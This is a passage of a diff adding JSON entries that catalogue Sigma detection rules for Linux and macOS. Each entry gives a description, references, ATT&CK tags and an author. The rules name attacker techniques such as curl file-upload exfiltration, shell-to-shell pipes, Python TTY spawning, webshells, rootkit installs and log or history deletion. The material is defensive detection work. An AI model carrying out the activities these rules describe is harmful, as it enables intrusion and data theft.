"proc_creation_lnx_local_account.yml", + "author": "Alejandro Ortuno, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects enumeration of local system groups. Adversaries may attempt to find local system groups and permission settings", + "uuid": "676381a6-15ca-4d73-a9c8-6a22e970b90d", + "value": "Local Groups Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_local_groups.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1069.001" + ], + "creation_date": "2020/10/11", + "filename": "proc_creation_lnx_local_groups.yml", + "author": "\u00d6mer G\u00fcnal, Alejandro Ortuno, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects enumeration of local or remote network services.", + "uuid": "3e102cd9-a70d-4a7a-9508-403963092f31", + "value": "Linux Network Service Scanning", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_network_service_scanning.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1046" + ], + "creation_date": "2020/10/21", + "filename": "proc_creation_lnx_network_service_scanning.yml", + "author": "Alejandro Ortuno, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects usage of nohup which could be leveraged by an attacker to keep a process running or break out from restricted environments", + "uuid": "e4ffe466-6ff8-48d4-94bd-e32d1a6061e2", + "value": "Nohup Execution", + "meta": { + "refs": [ + "https://gtfobins.github.io/gtfobins/nohup/", + "https://en.wikipedia.org/wiki/Nohup", + "https://www.computerhope.com/unix/unohup.htm", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_nohup.yml" + ], + "tags": "No established tags", + "creation_date": "2022/06/06", + "filename": "proc_creation_lnx_nohup.yml", + "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io", + "level": "medium", + "falsepositive": [ + "Administrators or installed processes that leverage nohup" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Rule to detect the use of the SCX RunAsProvider ExecuteScript to execute any UNIX/Linux script using the /bin/sh shell.\nScript being executed gets created as a temp file in /tmp folder with a scx* prefix.\nThen it is invoked from the following directory /etc/opt/microsoft/scx/conf/tmpdir/.\nThe file in that directory has the same prefix scx*. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including\nMicrosoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.\n", + "uuid": "6eea1bf6-f8d2-488a-a742-e6ef6c1b67db", + "value": "OMIGOD SCX RunAsProvider ExecuteScript", + "meta": { + "refs": [ + "https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure", + "https://github.com/Azure/Azure-Sentinel/pull/3059", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_omigod_scx_runasprovider_executescript.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.initial_access", + "attack.execution", + "attack.t1068", + "attack.t1190", + "attack.t1203" + ], + "creation_date": "2021/10/15", + "filename": "proc_creation_lnx_omigod_scx_runasprovider_executescript.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", + "level": "high", + "falsepositive": [ + "Legitimate use of SCX RunAsProvider ExecuteScript." + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell.\nSCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including\nMicrosoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.\n", + "uuid": "21541900-27a9-4454-9c4c-3f0a4240344a", + "value": "OMIGOD SCX RunAsProvider ExecuteShellCommand", + "meta": { + "refs": [ + "https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure", + "https://github.com/Azure/Azure-Sentinel/pull/3059", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_omigod_scx_runasprovider_executeshellcommand.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.initial_access", + "attack.execution", + "attack.t1068", + "attack.t1190", + "attack.t1203" + ], + "creation_date": "2021/10/15", + "filename": "proc_creation_lnx_omigod_scx_runasprovider_executeshellcommand.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", + "level": "high", + "falsepositive": [ + "Legitimate use of SCX RunAsProvider Invoke_ExecuteShellCommand." + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects process discovery commands. Adversaries may attempt to get information about running processes on a system.\nInformation obtained could be used to gain an understanding of common software/applications running on systems within the network\n", + "uuid": "4e2f5868-08d4-413d-899f-dc2f1508627b", + "value": "Process Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1057/T1057.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_process_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1057" + ], + "creation_date": "2020/10/06", + "filename": "proc_creation_lnx_process_discovery.yml", + "author": "\u00d6mer G\u00fcnal, oscd.community", + "level": "informational", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects setting proxy configuration", + "uuid": "72f4ab3f-787d-495d-a55d-68c2ff46cf4c", + "value": "Connection Proxy", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1090/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_proxy_connection.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1090" + ], + "creation_date": "2020/06/17", + "filename": "proc_creation_lnx_proxy_connection.yml", + "author": "\u00d6mer G\u00fcnal", + "level": "low", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects python spawning a pretty tty", + "uuid": "c4042d54-110d-45dd-a0e1-05c47822c937", + "value": "Python Spawning Pretty TTY", + "meta": { + "refs": [ + "https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_python_pty_spawn.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2022/06/03", + "filename": "proc_creation_lnx_python_pty_spawn.yml", + "author": "Nextron Systems", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects the enumeration of other remote systems.", + "uuid": "11063ec2-de63-4153-935e-b1a8b9e616f1", + "value": "Linux Remote System Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_remote_system_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1018" + ], + "creation_date": "2020/10/22", + "filename": "proc_creation_lnx_remote_system_discovery.yml", + "author": "Alejandro Ortuno, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects abuse of the cron utility to perform task scheduling for initial or recurring execution of malicious code. Detection will focus on crontab jobs uploaded from the tmp folder.", + "uuid": "6b14bac8-3e3a-4324-8109-42f0546a347f", + "value": "Scheduled Cron Task/Job", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.003/T1053.003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_schedule_task_job_cron.yml" + ], + "tags": [ + "attack.execution", + "attack.persistence", + "attack.privilege_escalation", + "attack.t1053.003" + ], + "creation_date": "2020/10/06", + "filename": "proc_creation_lnx_schedule_task_job_cron.yml", + "author": "Alejandro Ortuno, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects usage of system utilities (only grep and egrep for now) to discover security software discovery", + "uuid": "c9d8b7fd-78e4-44fe-88f6-599135d46d60", + "value": "Security Software Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_security_software_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1518.001" + ], + "creation_date": "2020/10/19", + "filename": "proc_creation_lnx_security_software_discovery.yml", + "author": "Daniil Yugoslavskiy, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects disabling security tools", + "uuid": "e3a8a052-111f-4606-9aee-f28ebeb76776", + "value": "Disabling Security Tools", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_security_tools_disabling.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.004" + ], + "creation_date": "2020/06/17", + "filename": "proc_creation_lnx_security_tools_disabling.yml", + "author": "\u00d6mer G\u00fcnal, Alejandro Ortuno, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects the usage of utilities such as 'systemctl', 'service'...etc to stop or disable tools and services", + "uuid": "de25eeb8-3655-4643-ac3a-b662d3f26b6b", + "value": "Disable Or Stop Services", + "meta": { + "refs": [ + "https://www.trendmicro.com/pl_pl/research/20/i/the-evolution-of-malicious-shell-scripts.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_services_stop_and_disable.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/09/15", + "filename": "proc_creation_lnx_services_stop_and_disable.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects suspicious change of file privileges with chown and chmod commands", + "uuid": "c21c4eaa-ba2e-419a-92b2-8371703cbe21", + "value": "Setuid and Setgid", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.001/T1548.001.md", + "https://attack.mitre.org/techniques/T1548/001/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_setgid_setuid.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2020/06/16", + "filename": "proc_creation_lnx_setgid_setuid.yml", + "author": "\u00d6mer G\u00fcnal", + "level": "low", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects users trying to exploit sudo vulnerability reported in CVE-2019-14287", + "uuid": "f74107df-b6c6-4e80-bf00-4170b658162b", + "value": "Sudo Privilege Escalation CVE-2019-14287", + "meta": { + "refs": [ + "https://www.openwall.com/lists/oss-security/2019/10/14/1", + "https://access.redhat.com/security/cve/cve-2019-14287", + "https://twitter.com/matthieugarin/status/1183970598210412546", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_sudo_cve_2019_14287.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1068", + "attack.t1548.003", + "cve.2019.14287" + ], + "creation_date": "2019/10/15", + "filename": "proc_creation_lnx_sudo_cve_2019_14287.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects chmod targeting files in abnormal directory paths.", + "uuid": "6419afd1-3742-47a5-a7e6-b50386cd15f8", + "value": "Chmod Suspicious Directory", + "meta": { + "refs": [ + "https://www.intezer.com/blog/malware-analysis/new-backdoor-sysjoker/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.002/T1222.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_chmod_directories.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1222.002" + ], + "creation_date": "2022/06/03", + "filename": "proc_creation_lnx_susp_chmod_directories.yml", + "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io", + "level": "medium", + "falsepositive": [ + "Admin changing file permissions." + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects a suspicious curl process start the adds a file to a web request", + "uuid": "00b90cc1-17ec-402c-96ad-3a8117d7a582", + "value": "Suspicious Curl File Upload - Linux", + "meta": { + "refs": [ + "https://twitter.com/d1r4c/status/1279042657508081664", + "https://medium.com/@petehouston/upload-files-with-curl-93064dcccc76", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-19---curl-upload-file", + "https://curl.se/docs/manpage.html", + "https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_curl_fileupload.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1567", + "attack.t1105" + ], + "creation_date": "2022/09/15", + "filename": "proc_creation_lnx_susp_curl_fileupload.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Scripts created by developers and admins" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects a suspicious curl process start on linux with set useragent options", + "uuid": "b86d356d-6093-443d-971c-9b07db583c68", + "value": "Suspicious Curl Change User Agents - Linux", + "meta": { + "refs": [ + "https://curl.se/docs/manpage.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_curl_useragent.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001" + ], + "creation_date": "2022/09/15", + "filename": "proc_creation_lnx_susp_curl_useragent.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Scripts created by developers and admins", + "Administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects events in which a history file gets deleted, e.g. the ~/bash_history to remove traces of malicious activity", + "uuid": "1182f3b3-e716-4efa-99ab-d2685d04360f", + "value": "History File Deletion", + "meta": { + "refs": [ + "https://github.com/sleventyeleven/linuxprivchecker/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_history_delete.yml" + ], + "tags": [ + "attack.impact", + "attack.t1565.001" + ], + "creation_date": "2022/06/20", + "filename": "proc_creation_lnx_susp_history_delete.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects events in which someone prints the contents of history files to the commandline or redirects it to a file for reconnaissance", + "uuid": "d7821ff1-4527-4e33-9f84-d0d57fa2fb66", + "value": "Print History File Contents", + "meta": { + "refs": [ + "https://github.com/sleventyeleven/linuxprivchecker/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_history_recon.yml" + ], + "tags": [ + "attack.reconnaissance", + "attack.t1592.004" + ], + "creation_date": "2022/06/20", + "filename": "proc_creation_lnx_susp_history_recon.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects suspicious interactive bash as a parent to rather uncommon child processes", + "uuid": "ea3ecad2-db86-4a89-ad0b-132a10d2db55", + "value": "Interactive Bash Suspicious Children", + "meta": { + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_interactive_bash.yml" + ], + "tags": "No established tags", + "creation_date": "2022/03/14", + "filename": "proc_creation_lnx_susp_interactive_bash.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Legitimate software that uses these patterns" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects java process spawning suspicious children", + "uuid": "d292e0af-9a18-420c-9525-ec0ac3936892", + "value": "Suspicious Java Children Processes", + "meta": { + "refs": [ + "https://www.tecmint.com/different-types-of-linux-shells/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_java_children.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2022/06/03", + "filename": "proc_creation_lnx_susp_java_children.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects suspicious process command line that starts with a shell that executes something and finally gets piped into another shell", + "uuid": "880973f3-9708-491c-a77b-2a35a1921158", + "value": "Linux Shell Pipe to Shell", + "meta": { + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_pipe_shell.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1140" + ], + "creation_date": "2022/03/14", + "filename": "proc_creation_lnx_susp_pipe_shell.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Legitimate software that uses these patterns" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects events with patterns found in commands used for reconnaissance on linux systems", + "uuid": "0cf7a157-8879-41a2-8f55-388dd23746b7", + "value": "Linux Recon Indicators", + "meta": { + "refs": [ + "https://github.com/sleventyeleven/linuxprivchecker/blob/0d701080bbf92efd464e97d71a70f97c6f2cd658/linuxprivchecker.py", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_recon_indicators.yml" + ], + "tags": [ + "attack.reconnaissance", + "attack.t1592.004", + "attack.credential_access", + "attack.t1552.001" + ], + "creation_date": "2022/06/20", + "filename": "proc_creation_lnx_susp_recon_indicators.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects system information discovery commands", + "uuid": "42df45e7-e6e9-43b5-8f26-bec5b39cc239", + "value": "System Information Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_system_info_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1082" + ], + "creation_date": "2020/10/08", + "filename": "proc_creation_lnx_system_info_discovery.yml", + "author": "\u00d6mer G\u00fcnal, oscd.community", + "level": "informational", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects usage of system utilities to discover system network connections", + "uuid": "4c519226-f0cd-4471-bd2f-6fbb2bb68a79", + "value": "System Network Connections Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_system_network_connections_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1049" + ], + "creation_date": "2020/10/19", + "filename": "proc_creation_lnx_system_network_connections_discovery.yml", + "author": "Daniil Yugoslavskiy, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects enumeration of local network configuration", + "uuid": "e7bd1cfa-b446-4c88-8afb-403bcd79e3fa", + "value": "System Network Discovery - Linux", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_system_network_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1016" + ], + "creation_date": "2020/10/06", + "filename": "proc_creation_lnx_system_network_discovery.yml", + "author": "\u00d6mer G\u00fcnal and remotephone, oscd.community", + "level": "informational", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects execution of a the file \"execve_hijack\" which is used by the Triple Cross rootkit as a way to elevate privileges", + "uuid": "0326c3c8-7803-4a0f-8c5c-368f747f7c3e", + "value": "Triple Cross eBPF Rootkit Execve Hijack", + "meta": { + "refs": [ + "https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/src/helpers/execve_hijack.c#L275", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_triple_cross_rootkit_execve_hijack.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation" + ], + "creation_date": "2022/07/05", + "filename": "proc_creation_lnx_triple_cross_rootkit_execve_hijack.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects default install commands of the Triple Cross eBPF rootkit based on the \"deployer.sh\" script", + "uuid": "22236d75-d5a0-4287-bf06-c93b1770860f", + "value": "Triple Cross eBPF Rootkit Install Commands", + "meta": { + "refs": [ + "https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/apps/deployer.sh", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_triple_cross_rootkit_install.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1014" + ], + "creation_date": "2022/07/05", + "filename": "proc_creation_lnx_triple_cross_rootkit_install.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects suspicious sub processes of web server processes", + "uuid": "818f7b24-0fba-4c49-a073-8b755573b9c7", + "value": "Linux Webshell Indicators", + "meta": { + "refs": [ + "https://www.acunetix.com/blog/articles/web-shells-101-using-php-introduction-web-shells-part-2/", + "https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_webshell_detection.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ], + "creation_date": "2021/10/15", + "filename": "proc_creation_lnx_webshell_detection.yml", + "author": "Florian Roth, Nasreddine Bencherchali (update)", + "level": "high", + "falsepositive": [ + "Web applications that invoke Linux command line tools" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects additions to the Emond Launch Daemon that adversaries may use to gain persistence and elevate privileges.", + "uuid": "23c43900-e732-45a4-8354-63e4a6c187ce", + "value": "MacOS Emond Launch Daemon", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.014/T1546.014.md", + "https://posts.specterops.io/leveraging-emond-on-macos-for-persistence-a040a2785124", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/file_event/file_event_macos_emond_launch_daemon.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1546.014" + ], + "creation_date": "2020/10/23", + "filename": "file_event_macos_emond_launch_daemon.yml", + "author": "Alejandro Ortuno, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "file_event", + "logsource.product": "macos" + } + }, + { + "description": "Detects creation of startup item plist files that automatically get executed at boot initialization to establish persistence.", + "uuid": "dfe8b941-4e54-4242-b674-6b613d521962", + "value": "Startup Items", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1037.005/T1037.005.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/file_event/file_event_macos_startup_items.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1037.005" + ], + "creation_date": "2020/10/14", + "filename": "file_event_macos_startup_items.yml", + "author": "Alejandro Ortuno, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "file_event", + "logsource.product": "macos" + } + }, + { + "description": "Detects execution of AppleScript of the macOS scripting language AppleScript.", + "uuid": "1bc2e6c5-0885-472b-bed6-be5ea8eace55", + "value": "MacOS Scripting Interpreter AppleScript", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.002/T1059.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_applescript.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.002" + ], + "creation_date": "2020/10/21", + "filename": "proc_creation_macos_applescript.yml", + "author": "Alejandro Ortuno, oscd.community", + "level": "medium", + "falsepositive": [ + "Application installers might contain scripts as part of the installation process." + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects usage of base64 utility to decode arbitrary base64-encoded text", + "uuid": "719c22d7-c11a-4f2c-93a6-2cfdd5412f68", + "value": "Decode Base64 Encoded Text", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_base64_decode.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027" + ], + "creation_date": "2020/10/19", + "filename": "proc_creation_macos_base64_decode.yml", + "author": "Daniil Yugoslavskiy, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate activities" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This rule detect using dd and truncate to add a junk data to file.", + "uuid": "95361ce5-c891-4b0a-87ca-e24607884a96", + "value": "Binary Padding", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027.001/T1027.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_binary_padding.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027.001" + ], + "creation_date": "2020/10/19", + "filename": "proc_creation_macos_binary_padding.yml", + "author": "Igor Fits, Mikhail Larin, oscd.community", + "level": "high", + "falsepositive": [ + "Legitimate script work" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detect file time attribute change to hide new or changes to existing files", + "uuid": "88c0f9d8-30a8-4120-bb6b-ebb54abcf2a0", + "value": "File Time Attribute Change", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.006/T1070.006.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_change_file_time_attr.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.006" + ], + "creation_date": "2020/10/19", + "filename": "proc_creation_macos_change_file_time_attr.yml", + "author": "Igor Fits, Mikhail Larin, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects deletion of local audit logs", + "uuid": "acf61bd8-d814-4272-81f0-a7a269aa69aa", + "value": "Indicator Removal on Host - Clear Mac System Logs", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.002/T1070.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_clear_system_logs.yml" + ], + "tags": [ + "attack.defense_evasion", + 